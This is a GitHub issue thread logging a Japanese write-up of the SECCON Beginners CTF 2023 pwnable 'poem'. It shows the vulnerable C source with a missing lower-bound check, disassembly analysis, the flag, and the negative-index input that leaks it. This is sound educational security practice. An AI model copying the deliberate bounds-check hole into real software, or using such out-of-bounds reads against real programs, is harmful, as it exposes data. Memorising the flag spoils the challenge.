roaris / ctf-log

0 stars 0 forks source link

SECCON Beginners CTF 2023: poem #50

Open roaris opened 5 months ago

roaris commented 5 months ago

https://github.com/SECCON/SECCON_Beginners_CTF_2023/tree/main/pwnable/poem

roaris commented 5 months ago
#include <stdio.h>
#include <unistd.h>

char *flag = "ctf4b{***CENSORED***}";
char *poem[] = {
    "In the depths of silence, the universe speaks.",
    "Raindrops dance on windows, nature's lullaby.",
    "Time weaves stories with the threads of existence.",
    "Hearts entwined, two souls become one symphony.",
    "A single candle's glow can conquer the darkest room.",
};

int main() {
  int n;
  printf("Number[0-4]: ");
  scanf("%d", &n);
  if (n < 5) {
    printf("%s\n", poem[n]);
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}
$ checksec poem
[*] '/home/roaris/SECCON_Beginners_CTF_2023/pwnable/poem/files/poem'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
roaris commented 5 months ago

stringsコマンドでフラグが出てくる

$ strings poem | grep ctf4b
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}
roaris commented 5 months ago

負のインデックスを指定することで、flagを読み出す方法もある 以下はprintf("%s\n", poem[n]);のアセンブリ

00000000000011e9 <main>:
...
    1235:   8b 45 f4                mov    eax,DWORD PTR [rbp-0xc]
    1238:   48 98                   cdqe
    123a:   48 8d 14 c5 00 00 00    lea    rdx,[rax*8+0x0]
    1241:   00 
    1242:   48 8d 05 f7 2d 00 00    lea    rax,[rip+0x2df7]        # 4040 <poem>
    1249:   48 8b 04 02             mov    rax,QWORD PTR [rdx+rax*1]
    124d:   48 89 c7                mov    rdi,rax
    1250:   e8 4b fe ff ff          call   10a0 <puts@plt>

DWORD PTR [rbp-0xc]poem[n]nで、これをeaxレジスタに格納した後、cdqeで64ビットに符号拡張する その後、raxレジスタを8倍した値をrdxレジスタに格納して、poemの先頭アドレスをraxレジスタに代入し、raxレジスタとrdxレジスタを足したアドレスに書かれているアドレスをputs関数の引数に渡す

roaris commented 5 months ago

poemflagのアドレスの差分を確認する objdump -D -M intel poemの出力を見ると、以下のようになっている(.dataを見るために、-dではなく-Dを指定しているのに注意) 無理矢理アセンブリ命令として解釈されている感じがする

Disassembly of section .data:
...
0000000000004020 <flag>:
    4020:   08 20                   or     BYTE PTR [rax],ah
    ...

0000000000004040 <poem>:
    4040:   20 20                   and    BYTE PTR [rax],ah
    4042:   00 00                   add    BYTE PTR [rax],al
    4044:   00 00                   add    BYTE PTR [rax],al
    4046:   00 00                   add    BYTE PTR [rax],al
    4048:   50                      push   rax
    4049:   20 00                   and    BYTE PTR [rax],al
    404b:   00 00                   add    BYTE PTR [rax],al
    404d:   00 00                   add    BYTE PTR [rax],al
    404f:   00 80 20 00 00 00       add    BYTE PTR [rax+0x20],al
    4055:   00 00                   add    BYTE PTR [rax],al
    4057:   00 b8 20 00 00 00       add    BYTE PTR [rax+0x20],bh
    405d:   00 00                   add    BYTE PTR [rax],al
    405f:   00 e8                   add    al,ch
    4061:   20 00                   and    BYTE PTR [rax],al
    4063:   00 00                   add    BYTE PTR [rax],al
    4065:   00 00                   add    BYTE PTR [rax],al
    ...

poemのアドレスから0x20(=32)引いたものがflagのアドレスである なので、-4を与えることで、flagを取得することが出来る

$ ./poem
Number[0-4]: -4
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}